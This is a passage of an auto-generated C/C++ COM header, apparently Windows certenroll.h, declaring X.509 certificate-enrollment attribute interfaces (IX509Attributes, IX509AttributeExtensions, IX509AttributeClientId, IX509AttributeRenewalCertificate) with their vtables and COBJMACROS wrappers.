IX509AttributeVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509Attribute_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509Attribute_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509Attribute_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509Attribute_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509Attribute_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509Attribute_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509Attribute_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509Attribute_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509Attribute_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509Attribute_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509Attribute_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509Attributes_INTERFACE_DEFINED__\n#define __IX509Attributes_INTERFACE_DEFINED__\n\n/* interface IX509Attributes */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509Attributes;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab323-217d-11da-b2a4-000e7bbb2b09\")\n    IX509Attributes : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Attribute **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IX509Attribute *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509Attributes * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509Attributes * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509Attributes * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509Attributes * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509Attributes * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509Attributes * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509Attributes * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IX509Attributes * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Attribute **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IX509Attributes * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IX509Attributes * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IX509Attributes * This,\n            /* [in] */ __RPC__in_opt IX509Attribute *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IX509Attributes * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IX509Attributes * This);\n        \n        END_INTERFACE\n    } IX509AttributesVtbl;\n\n    interface IX509Attributes\n    {\n        CONST_VTBL struct IX509AttributesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509Attributes_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509Attributes_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509Attributes_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509Attributes_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509Attributes_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509Attributes_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509Attributes_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509Attributes_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IX509Attributes_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IX509Attributes_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IX509Attributes_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IX509Attributes_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IX509Attributes_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509Attributes_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509AttributeExtensions_INTERFACE_DEFINED__\n#define __IX509AttributeExtensions_INTERFACE_DEFINED__\n\n/* interface IX509AttributeExtensions */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509AttributeExtensions;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab324-217d-11da-b2a4-000e7bbb2b09\")\n    IX509AttributeExtensions : public IX509Attribute\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt IX509Extensions *pExtensions) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_X509Extensions( \n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeExtensionsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509AttributeExtensions * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509AttributeExtensions * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509AttributeExtensions * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [in] */ __RPC__in_opt IX509Extensions *pExtensions);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509AttributeExtensions * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        END_INTERFACE\n    } IX509AttributeExtensionsVtbl;\n\n    interface IX509AttributeExtensions\n    {\n        CONST_VTBL struct IX509AttributeExtensionsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509AttributeExtensions_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509AttributeExtensions_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509AttributeExtensions_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509AttributeExtensions_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509AttributeExtensions_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509AttributeExtensions_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509AttributeExtensions_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509AttributeExtensions_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509AttributeExtensions_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509AttributeExtensions_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509AttributeExtensions_InitializeEncode(This,pExtensions)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pExtensions) ) \n\n#define IX509AttributeExtensions_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509AttributeExtensions_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509AttributeExtensions_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0040 */\n/* [local] */ \n\ntypedef \nenum RequestClientInfoClientId\n    {\n        ClientIdNone\t= 0,\n        ClientIdXEnroll2003\t= 1,\n        ClientIdAutoEnroll2003\t= 2,\n        ClientIdWizard2003\t= 3,\n        ClientIdCertReq2003\t= 4,\n        ClientIdDefaultRequest\t= 5,\n        ClientIdAutoEnroll\t= 6,\n        ClientIdRequestWizard\t= 7,\n        ClientIdEOBO\t= 8,\n        ClientIdCertReq\t= 9,\n        ClientIdTest\t= 10,\n        ClientIdWinRT\t= 11,\n        ClientIdUserStart\t= 1000\n    } \tRequestClientInfoClientId;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0040_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0040_v0_0_s_ifspec;\n\n#ifndef __IX509AttributeClientId_INTERFACE_DEFINED__\n#define __IX509AttributeClientId_INTERFACE_DEFINED__\n\n/* interface IX509AttributeClientId */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509AttributeClientId;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab325-217d-11da-b2a4-000e7bbb2b09\")\n    IX509AttributeClientId : public IX509Attribute\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ RequestClientInfoClientId ClientId,\n            /* [in] */ __RPC__in BSTR strMachineDnsName,\n            /* [in] */ __RPC__in BSTR strUserSamName,\n            /* [in] */ __RPC__in BSTR strProcessName) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ClientId( \n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_MachineDnsName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_UserSamName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ProcessName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeClientIdVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509AttributeClientId * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509AttributeClientId * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509AttributeClientId * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [in] */ RequestClientInfoClientId ClientId,\n            /* [in] */ __RPC__in BSTR strMachineDnsName,\n            /* [in] */ __RPC__in BSTR strUserSamName,\n            /* [in] */ __RPC__in BSTR strProcessName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_MachineDnsName )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UserSamName )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ProcessName )( \n            __RPC__in IX509AttributeClientId * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509AttributeClientIdVtbl;\n\n    interface IX509AttributeClientId\n    {\n        CONST_VTBL struct IX509AttributeClientIdVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509AttributeClientId_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509AttributeClientId_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509AttributeClientId_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509AttributeClientId_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509AttributeClientId_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509AttributeClientId_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509AttributeClientId_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509AttributeClientId_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509AttributeClientId_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509AttributeClientId_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509AttributeClientId_InitializeEncode(This,ClientId,strMachineDnsName,strUserSamName,strProcessName)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,ClientId,strMachineDnsName,strUserSamName,strProcessName) ) \n\n#define IX509AttributeClientId_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509AttributeClientId_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509AttributeClientId_get_MachineDnsName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MachineDnsName(This,pValue) ) \n\n#define IX509AttributeClientId_get_UserSamName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UserSamName(This,pValue) ) \n\n#define IX509AttributeClientId_get_ProcessName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ProcessName(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509AttributeClientId_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509AttributeRenewalCertificate_INTERFACE_DEFINED__\n#define __IX509AttributeRenewalCertificate_INTERFACE_DEFINED__\n\n/* interface IX509AttributeRenewalCertificate */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509AttributeRenewalCertificate;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab326-217d-11da-b2a4-000e7bbb2b09\")\n    IX509AttributeRenewalCertificate : public IX509Attribute\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCert) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RenewalCertificate( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeRenewalCertificateVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509AttributeRenewalCertificate * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509AttributeRenewalCertificate * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509AttributeRenewalCertificate * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCert);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509AttributeRenewalCertificate * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509AttributeRenewalCertificate * 